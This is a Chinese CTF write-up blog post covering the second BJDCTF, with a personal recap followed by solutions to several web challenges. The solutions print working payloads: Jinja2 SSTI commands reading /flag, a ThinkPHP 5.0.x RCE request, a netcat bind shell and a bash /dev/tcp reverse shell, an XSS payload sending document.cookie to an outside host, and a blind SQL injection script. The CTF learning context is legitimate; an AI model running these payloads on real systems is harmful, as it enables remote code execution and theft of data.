第二届 BJDCTF 总结

第二届的 BJDCTF 也是结束了,收获挺大的,虽然没有得到想要的名次,但是也算是可以给自己一些相应的启发叭。

大致概览

这次比赛为期两天,连续的,总共是有七个题型,其分布情况为:

Misc Pwn Crypto Web Reverse Programming BlockChain
10 11 8 10 3 1 2

其中区块链和编程题都没有做过,编程题说是 CTF 中的 ACM,我感觉还是有一些区别的,区块链的话我并不懂,据说可以挖金(?)

然后对于这些题目的话

  • 赛中和赛完没多久的我:个人是感觉是有难度的(应该还是我太菜了 🌚)
  • 赛后复现的我:啊也不是很难8,为啥当时就没做出(应该还是我太菜了 🌚)
  • 我太菜了 🌚

比赛从 3 月 21 日 9 点开始,赛前和队员们相互鼓励,还是挺紧张的,哈哈哈

一开始上去先 A 了 Base64 的签到,这题栋梁抢到了一血 👍(手动狗头),然后大致看了一下放出来的题目,把逆向的签到题花一分钟 A 掉了,然后直接对 Web 发起进攻,首先是直接冲进谭总的 duangshell,想着谭总出的题一定要拿到一血,但是到了比赛最后还是没有 A 出来,谷歌都翻烂了好吧……😭

大概中午的时候,老谢就问还有没有逆向题,一看他已经拿了两个逆向的一血了(当时只有两道题,然后他就溜了),然后当时打得太投入就没吃午饭

然后是下午的时候,泽辰连拿两个一血,真的牛逼,然后当时卓哥也把 Y1nglish 那题 A 了出来,大家都非常开心 😄,然后我是继续 Web,卓哥圆子他们狂刷 Misc、Crypto,然后泽辰他们是去休息了,后来我实在气不过,八九个小时没 A 出一题,谭总开导我要我去刷刷其它的,就去 Misc 和 Crypto 逛了逛,然后回来接着刷 Web,晚饭随便吃了下,然后继续泡 Web,找资料啥的,各种尝试……

到了晚十点的时候,游戏类的 Pwn 被放了出来,去整了一下贪吃蛇,拿到了第二,也还不错,顺带放松心情

随随便便就到了凌晨,我吐了我真的还是没做出一道 Web,看看队友们都是十名左右二十名之前的,我是个四十名 🌚,然后一部分队员也是打算深夜开车继续做题,浩哥他们就先去睡觉了,后来大家都断断续续去睡觉了,我寻思着要整出来一道 Web,于是继续做,中间顺便 A 了几道其它的题

到了七点多的时候感觉不行了就倒了一下,然后十一点多起来继续看题,发现队员们有了新的进展,卓哥已经快前十了,然后浩哥他们都到了前面去了,这个时候所有的题目也开放了,踉踉跄跄奔到了电脑桌前继续整,又没吃早饭中饭……

然后快一点多钟的时候终于是把 flask —— 本场比赛本菜鸡唯一的一道 Web 做了出来,经过了二十个小时左右,终于 A 出了一道 Web,没有当初想象中做出 Web 的欣喜,内心平静无比(至少 Web 没有爆零,不然我砸死算了)

队友们也是频频传来捷报,令人心情由为愉悦 😀

然后继续攻谭总的 duangshell ,一直到了三点多,之前高中的兄弟们喊我出去聚餐,寻思着也这么久没和兄弟们聚聚了,就出去辽,然后在外面用手机 A 了道 Crypto(哈哈哈哈)

卓哥圆子他们真的强,Misc 和 Crypto 都做了那么多,这次 CTF 的 Misc 和 Crypto 我真的做不来,尤其是 Misc(反正我真想不到),然后泽辰他们也是,Pwn 直接拿了三个一血,还有老谢,逆向一开始只有两道,直接早早地拿了两个一血,就我最菜……😭

连着两天,中间休息了四个多小时,做了二十多个小时的 Web(后来第二天下午三点多出门了没做了),最后 Web 还只做出了一题,感觉熟练度的确还是很不够,对没见过的题型姿势还是应对不过来,也不咋善于利用搜索引擎…… orz

本次最后是排在 22 名,做出了总共 9 道题(不算签到题):

Misc Pwn Crypto Web Reverse
2 1 4 1 1

这次比赛也就差不多这样了,遗憾也有:谭总的题我没做出来,别人拿了一血而且做出来的也不少;痛苦也有:Web 做了这么久,还是“开卷”,搜了这么多,做出来的太少,根本拿不上牌面;疲惫也有:休息得少了,感觉后面身体都使不上力。

但是呢,斗志永不会被磨灭,这次可以失利,但是下一次一定要讨回来 🤪

自我分析

还是先潜心把 Web 彻底学好,这次比赛暴露出了问题:

  • 对于新的知识点,并不能很好地利用搜索引擎将其盘活
  • 对于自己做过的知识点,会麻痹大意,认为自己一定可以做出,结果在没做出,或是与自己的预想不相一致的时候,就会茫然,就是那种被当头一棒的感觉,就不知道咋下手了
  • 太过求快,就是没有正确估量自己的实力,觉得自己一定要多久多久内做完,就容易上头,或者说是急、慌张
  • 不够细心,有的时候 Hint 就在某个角落,但是自己却错过了(这个地方要多像卓哥学习,他比我细心得多,发现细节的能力 tql)
  • 平时懒得动手,就是那种漏洞啥的,没有自己去实践,虽然知道有这么回事,但是不太会实际运用
  • 基础可能并不是特别牢实

所以痛定思痛,要从今天开始逐步改正这些毛病,认真对待每个问题,争取下次虎符和网鼎杯可以 C 😐

然后的话,对于副方向,一开始我是打算主 Web 副 Crypto的,后来我看了看,emmmmmmmmm(我可以主 Web 副 Pwn 嘛),咳咳,先不管这么多,先把 Web 学好 👀

题解

这次比赛,感觉除开 Web 我也没啥多的好写的,以后也不会写 Misc 这一类的题解,就主要写 Web 的吧(赛后复现也整理在这里)

  • Fake google(除开这道,其它都是复现)
  • 老黑客
  • Schrödinger
  • duangshell
  • 假猪套天下第一
  • 代码很长,但没有杨大树长
  • Girlfriend注入
  • Element Master

Fake google

本题考察 SSTI模板注入

进入网页,发现了搜索框 ,随便输入一个 1,发现页面回显:

1
P3's girlfirend is : 1

猜测是 SSTI,查看源代码,在最顶上的注释发现 Hint:

1
<!--ssssssti & a little trick -->

SSTI 没得跑了,输入

1
{{7*7}}

返回 49,然后再输入

1
{{7*'7'}}

返,返回 7777777,所以是 jinja2 模板

我们可以构造:

1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()") }}{% endif %}{% endfor %}

传入,页面回显:

1
P3's girlfirend is : app bd_build bin boot dev etc flag home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var

可以发现 flag 就在该目录下,我们继续构造

1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag').read()") }}{% endif %}{% endfor %}

然后居然给我回显出这个:

1
BJD in P3's girlfriend???

emmmm P3师傅的女朋友是布吉岛(狗头)

这题卡了很久,想了很久不清楚,我想着是过滤,但是一开始没有想到过滤掉了 flag 的脑袋 BJD,爷服辣,只要绕过这个就 ok 辽,后来我是利用 od 返回十六进制,然后转 ASCII 得到 flag

1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('od -x /flag').read()") }}{% endif %}{% endfor %}

得到:

1
P3's girlfirend is : 0000000 6c66 6761 367b 3831 6637 3465 2d39 6361 0000020 6161 342d 6435 2d64 6662 6266 662d 3964 0000040 3039 6336 6437 6363 7d37 000a 0000053

去掉无关紧要的字符以及偏移量,又因为是小端存储,所以每段都要交换前后两个字符

然后还有分割的方法:

1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag').read()[1:]") }}{% endif %}{% endfor %}

把首部的 B 去掉了,这样也可以读出,还有很多其他方法……姿势真太多了

注:BUU 上的是阉割版好8,没有过滤,这样一点灵魂都莫得 🌚

老黑客

本题考察 ThinkPHP 5.0.0~5.0.23 RCE

这一题……比赛的时候没做得出,赛后在 BUU 复现的时候发现……太简单了叭,当时的思维完全局限了,嗷,我还是太过于 vegetable

首先进入被黑掉的页面,发现了 Powered By THINKPHP5 字段,由于之前做过一道 ThinkPHP RCE 的题,所以直接尝试上 payload

1
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir

然后这个时候令人激动的来辣,直接报错了,然后告诉我这个 控制器不存在:\think\app,仔细看了一眼发现似乎是把除开英文符之外的直接过滤掉了,emmm这个时候我没有去考虑别的,我……在寻思着咋去绕过,咋找到一个可以满足题目条件的控制器……所以我前面一直没有做出来 🐷

后来来了 Hint,说是看看版本,我当时脑抽了哇……我我我在主页面查看 PHP 版本……然并卵,直到比赛结束我都没有做出来,哭了 😥

然后这会儿再复现一波,发现了报错之后可以查看 ThinkPHP 的版本:THINK_VERSION 5.0.23

……emmm那我们就利用 ThinkPHP 5.0.0~5.0.23 的 RCE 漏洞,构造 payload:

1
2
/?s=captcha
POST: _method=__construct&filter[]=system&method=get&get[]=ls /

页面报错,但是显示出了信息:

1
bin dev etc flag home lib media mnt proc root run sbin srv sys tmp usr var

可以发现 flag 就在该目录下,我们直接构造:

1
2
/?s=captcha
POST: _method=__construct&filter[]=system&method=get&get[]=cat /flag

爆出 flag

Schrödinger

本题考查 信息收集

打开页面,看不咋懂英语的我默默地留下了热泪,然后下面还有一个框,有提交按钮和检查按钮,不知道是干嘛的

审查源代码,发现了提示信息:Note : Remenmber to remove test.php! ,然后果断进入 test.php 一探究竟,是显示了一段英文和两个用以登陆的框

同时发现了一个 Cookie

1
Cookie: PHPSESSID=nsosfeboqlbeeatcht2q3p2p45

首先直接就想着是SQL注入,结果注了半天鸡毛用都没有,然后还在想要如何避免弹窗弹出来,所以比赛一直耗在这里,orz

后来才发现这个页面不是用来看的,是用来填主页面下面的框的 OWO 😱

我们会主页面输入 test.php input 它就会开始慢慢 fuck 我们的登录页面,但是奇慢无比,fuck 半天再 check 都是失败,我们用 Burp 抓包试试,发现了 Cookie

1
Cookie: PHPSESSID=nsosfeboqlbeeatcht2q3p2p45; dXNlcg=MTU4NTAxMjIxMQ%3D%3D

对比之前看到的 Cookie,这个多了后面的那个,是 Base64 编码,我们解一下码,发现是当前时间戳,尝试将其放空,发现 fuck率 一下子高达 99%,我们 check 一下就得到了一个 B站的 AV号:av11664517

然后去搜下,量子力学(牛逼),也完美契合了题目描述:随机过程随机过,量子力学量力学 😬

在评论区中发现了 flag,下面全都是诸如干死出题人之类的言论 👍

duangShell

本题考查 文件泄露 | 反弹shell | Bypass

谭总出的题,真的很想拿下当时 😐😐😐😐😐😐😐😐😐😐😐😐😐😐😐😐😐

打开页面,发现了这么一段文字:

1
2
how can i give you source code? .swp?!
where is P3rh4ps's girl friend ???

很明显的提示,vim 文件泄露,正好之前也做过这题,跟进 .index.php.swp 得到文件,在我心爱的 pwn机中用 vim -r index.php.swp 命令查看源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>give me a girl</title>
</head>
<body>
<center><h1>珍爱网</h1></center>
</body>
</html>
<?php
error_reporting(0);
echo "how can i give you source code? .swp?!"."<br>";
if (!isset($_POST['girl_friend'])) {
die("where is P3rh4ps's girl friend ???");
} else {
$girl = $_POST['girl_friend'];
if (preg_match('/\>|\\\/', $girl)) {
die('just girl');
} else if (preg_match('/ls|phpinfo|cat|\%|\^|\~|base64|xxd|echo|\$/i', $girl)) {
echo "<img src='img/p3_need_beautiful_gf.png'> <!-- He is p3 -->";
} else {
//duangShell~~~~
exec($girl);
}
}

可以发现我们应该要传入一个名为 girl_friend 的 POST,要经过各种过滤,然后在 exec 处命令执行,这里就有一个坎,就是 exec 是无回显的,需要反弹shell,而我刚好之前没做过这种,所以当时第一次做就很懵,怎么尝试也失败了 😥

第二次是在第二天做的,在网上搜了大量资料之后也是知道了这是个反弹shell,奈何水平实在不够,最后还是失败了

赛后看了师傅的题解,若有所悟……(附:在Linux上创建txt文件,并编辑 | curl命令

我们用的是 BUU Basic 模块的 Linux labs 靶机,首先连上靶机,用 ifconfig 命令查看自己的 IP 地址:

1
inet addr:174.1.92.180

然后输入命令 nc -lvp 2333 来监听本机的 2333 端口,在题目处构造 POST: curl 174.1.92.180:2333

靶机处接收到 curl 的信息:

1
2
3
4
5
6
listening on [any] 2333 ...
connect to [174.1.92.180] from 5967-b6a7b6e3-da57-4f6b-91e5-e86d8f6aa527.1.lx78hcv02iidom0d05i2cok6w.ctfd_swarm [174.1.93.176] 51546
GET / HTTP/1.1
Host: 174.1.92.180:2333
User-Agent: curl/7.61.1
Accept: */*

得到题目的位置:

1
174.1.93.176

我们到题目处监听端口:nc -lvp 2333 -e /bin/sh ,把 shell 绑定到 2333 端口,然后在靶机处连上:nc 174.1.93.176 2333 (正向 nc 连 shell)

连上之后我们直接用 ls / 查看当前目录:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
bin
dev
etc
flag
home
lib
media
mnt
proc
root
run
sbin
srv
sys
tmp
usr
var

发现 flag,我们用命令打开查看 cat /flag 得到:

1
flag{flag-is-not-here,please-find-it-by-yourself}

显然我们是被摆了一道,我们用 find 找一下 flag:find / -name flag ,得到了真正的 flag 的地址:

1
2
/etc/demo/P3rh4ps/love/you/flag
/flag

所以我们直接 cat /etc/demo/P3rh4ps/love/you/flag (这次比赛 P3 或成最大赢家)

得到 flag 👍

当然方法不止正向连接这一种,毕竟谭总本意是要考察反弹shell,我也对其进行一波操作

法二:

还是先 ifconfig 查看 IP:

1
inet addr:174.1.94.90

然后我们创建 duidui.txt 文件并进行编辑:vi duidui.txt ,在其中写入 shell

1
bash -i >& /dev/tcp/174.1.94.90/2333 0>&1

然后利用 nc -lvp 2333 监听 2333 端口,在网页端构造 POST:``

假猪套天下第一

本题考察 Http头

这题说来好水……🌚,当时没咋想,觉得自己可能做不出就没做了……🌚

我们首先进入页面,是要求我们登录,随便输一个非 admin 之外的账号都可以直接登进,顺带一提这里有个小彩蛋就是你不输入账户名的话会弹出:不能为空 你登录你妈呢 emmmm暴躁老Y1ng

但是登进去了啥也莫得,审查源代码也没啥有用的玩意儿,当时我到了这里就直接退了……连抓包都没抓……😱

我们登录,同时用 Burp 抓包查看,在页面最下方发现了

1
<!-- L0g1n.php -->

同时我们查看响应头知道是因为 302 页面重定向使得页面跳转至了 profile.php

我们进入 L0g1n.php ,页面是直接给我们显示:Sorry, this site will be available after totally 99 years!

要我们 99 年之后再来,?查看 Cookie 发现了名为 time 的时间戳,修改为 99 年之后:

1
time: 1585099440 ——> time: 4709150640

页面显示文字:Sorry, this site is only optimized for those who comes from localhost

要我们用本地请求,所以我们添加一个 Requests :

1
X-Forwarded-For: 127.0.0.1

但是页面无情显示:Do u think that I dont know X-Forwarded-For? Too young too simple sometimes naive

就是说我们要换一个,我们可以用 Client-IP:

1
Client-IP: 127.0.0.1

得到页面显示:Sorry, this site is only optimized for those who come from gem-love.com

要求来自 gem-love.com ,我们可以构造:

1
Referer: gem-love.com

页面显示:Sorry, this site is only optimized for browsers that run on Commodo 64

不知道 Commodo 64 是啥,在谷歌上一搜,原来是 Commodore 64 ,是一个老牌计算机系统,所以我们修改一下 User-Agent:

1
User-Agent: Commodore 64

得到:Sorry, this site is only optimized for those whose email is root@gem-love.com

emmm要求 from root@gem-love.com ,我们添加:

1
From: root@gem-love.com

然后又双叒叕出了要求:(QAQ)Sorry, this site is only optimized for those who use the http proxy of y1ng.vip if you dont have the proxy, pls contact us to buy, ¥100/Month

😑 Oh dear,you see see this requirement,it’s so fucking shit

我们构造:(这里用到的是 via

1
via: y1ng.vip

终于得到了:Sorry, even you are good at http header, you're still not my admin. Althoungh u found me, u still dont know where is flag

我们 F12 审查元素发现在这句话下面有注释:

1
<!--ZmxhZ3s0ZTQ5YzQ1OS0zMTg4LTQ4NjEtOWY5OS03OGE4ZDk0N2U0MWF9Cg==-->

将注释内容转码即可得到 flag

代码很长,但没有杨大树长

本题考察 源码泄露 | PHP原生类反序列化

这题就是 BUU 上的 XSS之光……以前刷题还没遇到过 XSS, 现在遇到辽,很 nice

首先进入网页,啥都没得,页面显示 gungungun 也不是什么鸟提示,页面源码也没啥信息,请求头和响应头也没藏东西,唯一的看点就是这是 5.60 版本的PHP,猜测只能是源码泄露了,手动试了一下发现 ,git 被 403 了,所以是 GIT 源码泄露,直接 GIThack 一波得到源码:

index.php

1
2
3
<?php
$a = $_GET['yds_is_so_beautiful'];
echo unserialize($a);

可以看见传入了名为 yds_is_so_beautiful 的 GET 参数(这题不是杨大树本人出的叭……这么自黑的咩),关键的就是将其反序列化,但是并没有发现题目中给出了可以利用的类,所以我卡死在这里了……

后来拜读了 Y1ng 师傅的题解……才晓得原来可以利用原生类进行反序列化(php可利用的原生类 <—— 来自出题人的死亡凝视)

我们利用 Exception 类进行 XSS 反序列化

1
2
3
<?php
$a = new Exception("<script>window.open('http://d21aa841-4eb8-4021-b0b6-ada6b0aa6b5b.node3.buuoj.cn/?' + document.cookie);</script>");
echo urldecode(serialize($a));

得到:

1
O:9:"Exception":7:{s:10:" * message";s:111:"<script>window.open('http://d21aa841-4eb8-4021-b0b6-ada6b0aa6b5b.node3.buuoj.cn/?'   document.cookie);</script>";s:17:" Exception string";s:0:"";s:7:" * code";i:0;s:7:" * file";s:24:"D:\Phpwork\test\test.php";s:7:" * line";i:2;s:16:" Exception trace";a:0:{}s:19:" Exception previous";N;}

我们在此之前添加 ?yds_is_so_beautiful= 构造 payload 提交,在 Cookie 中获得 flag

Girlfriend注入

考察盲注

直接贴 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import requests

# 返回字段
S = ''

# URL
url = 'http://7e4dc31f-472f-4ed9-84c1-a17bb125265b.node3.buuoj.cn/index.php'

def pay(time, num):
payload = '^(ascii(substr((password),{times},1))>{num})#'
data = {"username": "admin\\", "password": payload.format(times=time, num=num)}
content = requests.post(url, data=data)
if content.text.find('P3rh4ps') != -1:
res = True
else:
res = False

return res

for i in range(1, 1000):
# 上限 & 下限
low = 31
high = 127

# 二分
while low < high:
# 取中
mid = (low + high) // 2
if pay(i, mid):
low = mid + 1
else:
high = mid

f = int((low + high + 1)) // 2
if f == 127 or f == 31:
break

S += chr(f)
print(S)

print("\nEND! And Echo: ", S)

Element Master

这题在源码中有俩个 hidden id 属性,是十六进制,我们将其转为 ASCII 发现是 Po.php,高中话学基础还是有的,发现这是个元素,然后结合 element,试了试别的元素,emmm试不出,写个脚本跑下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests

url = 'http://d95d6f54-b3e8-43a0-b71e-a1bcb9aed051.node3.buuoj.cn/'

elements = ('H', 'He', 'Li', 'Be', 'B', 'C', 'N', 'O', 'F', 'Ne', 'Na', 'Mg', 'Al', 'Si', 'P', 'S', 'Cl', 'Ar',
'K', 'Ca', 'Sc', 'Ti', 'V', 'Cr', 'Mn', 'Fe', 'Co', 'Ni', 'Cu', 'Zn', 'Ga', 'Ge', 'As', 'Se', 'Br',
'Kr', 'Rb', 'Sr', 'Y', 'Zr', 'Nb', 'Mo', 'Te', 'Ru', 'Rh', 'Pd', 'Ag', 'Cd', 'In', 'Sn', 'Sb', 'Te',
'I', 'Xe', 'Cs', 'Ba', 'La', 'Ce', 'Pr', 'Nd', 'Pm', 'Sm', 'Eu', 'Gd', 'Tb', 'Dy', 'Ho', 'Er', 'Tm',
'Yb', 'Lu', 'Hf', 'Ta', 'W', 'Re', 'Os', 'Ir', 'Pt', 'Au', 'Hg', 'Tl', 'Pb', 'Bi', 'Po', 'At', 'Rn',
'Fr', 'Ra', 'Ac', 'Th', 'Pa', 'U', 'Np', 'Pu', 'Am', 'Cm', 'Bk', 'Cf', 'Es', 'Fm','Md', 'No', 'Lr',
'Rf', 'Db', 'Sg', 'Bh', 'Hs', 'Mt', 'Ds', 'Rg', 'Cn', 'Nh', 'Fl', 'Mc', 'Lv', 'Ts', 'Og', 'Uue')

for element in elements:
response = requests.get((url + element + '.php'))
if response.status_code == 200:
print(response.text, end='')
else:
continue

跑出了 flag 所在的 php文件地址,访问获得 flag